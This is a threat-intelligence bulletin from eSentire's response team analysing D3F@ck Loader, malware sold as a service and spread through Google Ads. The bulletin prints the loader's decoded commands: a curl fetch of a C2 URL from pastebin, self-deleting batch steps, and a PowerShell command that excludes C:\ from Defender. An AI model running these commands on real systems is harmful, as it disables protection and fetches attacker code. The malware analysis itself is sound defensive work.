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D3F@ck Loader, the New MaaS Loader

BY eSentire Threat Response Unit (TRU)

April 29, 2024 | 7 MINS READ


Threat Intelligence

Threat Response Unit

TRU Positive/Bulletin

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Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.

We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware.

Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.

In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward.

Here’s the latest from our TRU Team…

What did we find?

In March 2024, eSentire's Threat Response Unit (TRU) discovered multiple instances of D3F@ck Loader infections being propagated via Google Ads. This new loader, which debuted on hacking forums in January 2024 (Figure 1), can allegedly bypass several key security features such as Google Chrome, Edge, Windows Defender alerts, and SmartScreen. 

The initial pricing was $70 per day and $490 for a week of access. TRU has observed the loader dropping Raccoon Stealer and Danabot for two separate infection cases. 

Figure 1: D3F@ck Loader Advertisement on hacking forums (1)
Figure 2: D3F@ck Loader Advertisement on hacking forums (2)

Pricing details are displayed in Figure 3 and vary based on whether an Extended Validation (EV) signature is required and the size of the payload. It's important to note that EV certificates offer a higher level of assurance compared to standard certificates, as they need a thorough verification of the requester’s identity by the Certificate Authority (CA). 

Consequently, many security programs and application control policies are more inclined to trust programs signed with an EV certificate. For instance, Microsoft's SmartScreen filter, which is utilized by Windows and other Microsoft products, evaluates the reputation of an executable at runtime. 

Files signed with an EV certificate typically establish a trustworthy reputation faster than those signed with standard certificates or those that are unsigned. This advantage allows most malware to bypass SmartScreen warnings more effectively.

Figure 3: Pricing for D3F@ck Loader

We have identified three malicious EV signatures to date. The last two were successfully reported to SSL, leading to their revocation:

As previously mentioned, the initial infection vector involved a malicious website accessed via sponsored Google Ads. We have observed threat actors impersonating Calendly and Rufus applications with the malicious installer hosted on MediaFire (Figure 4).

Figure 4: Malicious website serving D3F@ck Loader

If the previous versions of D3F@ck Loader were not packed or obfuscated, the current loader payloads would come with Inno Setup. Inno Setup is a widely popular, free, script-driven installation system that creates Windows installers. 

D3F@ck Loader leverages the Pascal scripting engine, which is integrated into Inno Setup. 

The decompiled Pascal Script code contains the custom Base64-encoded strings (Figure 5). 

Figure 5: Custom Base64-encoded strings

All the strings are decoded as follows:

{pf64}\\Windows NT
curl https://pastebin.com/raw/ZmJsLQWU>url.txt
DEL /F /Q ""%~f0""&EXIT >nul
{pf64}\\Windows NT\\performer.cmd
 if exist "%src%\\125\\125.exe" start /w "" "%src%\\125\\125.exe"'
cmd /c rd "%src%\\125"
cmd /c del "%src%\\85.zip"
cmd /c del "%src%\\performer.cmd"
{pf64}\\Windows NT\\85.zip
cmd /c tar xf 85.zip
cmd /c powershell -inputformat none -outputformat none -NonInteractive -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\\'

The loader creates a batch file named “performed.cmd” under %TEMP% folder; in our example, it’s under “C:\Users\user\AppData\Local\Temp\is-8U6D1.tmp”.

The content of the batch script:

Figure 6: Contents of performed.cmd under “C:\Users\user\AppData\Local\Temp\is-8U6D1.tmp”

The batch script turns off command echoing to ensure that the commands run in the script are not displayed in the command prompt. This hides the commands from the user. It then retrieves a URL (attacker’s controlled C2) using Curl and redirects the content into a file named url.txt in the current directory. Finally, it deletes the script and exits.

Another batch script, also named “performed.cmd” is dropped under “C:\Program Files\Windows NT\”. 

Figure 7: Contents of performed.cmd under “C:\Program Files\Windows NT\”

The batch script sets a variable named src to the path "C:\Program Files\Windows NT" with set src=C:\Program Files\Windows NT. This variable is then used in subsequent commands to refer to this directory. The script then checks if the file 125.exe exists in the subfolder 125 within the directory “C:\Program Files\Windows NT”. 

If it does, it starts the executable 125.exe and waits for it to complete. Finally, the batch script attempts to remove the directory named “125”, the zip file named “85.zip,” and “performer.cmd”. We will cover the mentioned zip archive further in this article. 

Interestingly enough, two commands are run after the execution of the loader:

Next, the script checks for Arg0 = 2, where 2 corresponds to ssDone in TSetupStep. In the context of the loader, reaching this stage likely indicates the successful and complete execution of the loader, after which a fake error message is displayed.

Figure 8: Fake error message

Let’s come back to the 85.zip archive that was retrieved from the C2. 

The zip archive contains a folder named “Addons” which contains the Java dependencies necessary for the malicious binary to run effectively. It also includes a payload named “125.exe” (MD5: a56f2d534631400ef294d321f8dbdfea) (Figure 9). This file requires administrative privileges to run. 

Figure 9: Contents of 85.zip archive

Upon running the loader's main executable, the C2 server receives updates on the infection stages from the machine. These updates include stages such as “starting”, “ready”, “downloaded”, “finished”, or “error” if the final payload fails to be delivered or not found on the server.

An example of a request sent to the C2 server is as follows using the User-Agent “Java/1.8.0_101”, where 116.202.188[.]155 is the C2 server hosting the final payload “125.exe” (MD5: a56f2d534631400ef294d321f8dbdfea):

Figure 10: Retrieving the final payload from C2

In our analysis case, the final payload retrieved is a .NET dropper that injects Raccoon Stealer into the RegAsm.exe process. 

The D3F@ck Loader case highlights a malware threat leveraging high-trust mechanisms like EV certificates to circumvent modern security solutions. Its distribution through Google Ads shows a strategic choice of infection vectors, targeting widespread platforms to maximize reach and impact. 

What did we do?

Our team of 24/7 SOC Cyber Analysts isolated the affected host and notified the client of suspicious activities.

What can you learn from this TRU Positive?

Recommendations from our Threat Response Unit (TRU):

We recommend implementing the following controls to help secure your organization against D3F@ck Loader:

Indicators of Compromise

You can access the indicators here.

eSentire Unit
eSentire Threat Response Unit (TRU)

The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7 Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and works as an extension of your security team to continuously improve our Managed Detection and Response service. By providing complete visibility across your attack surface and performing global threat sweeps and proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending your organization against known and unknown threats.

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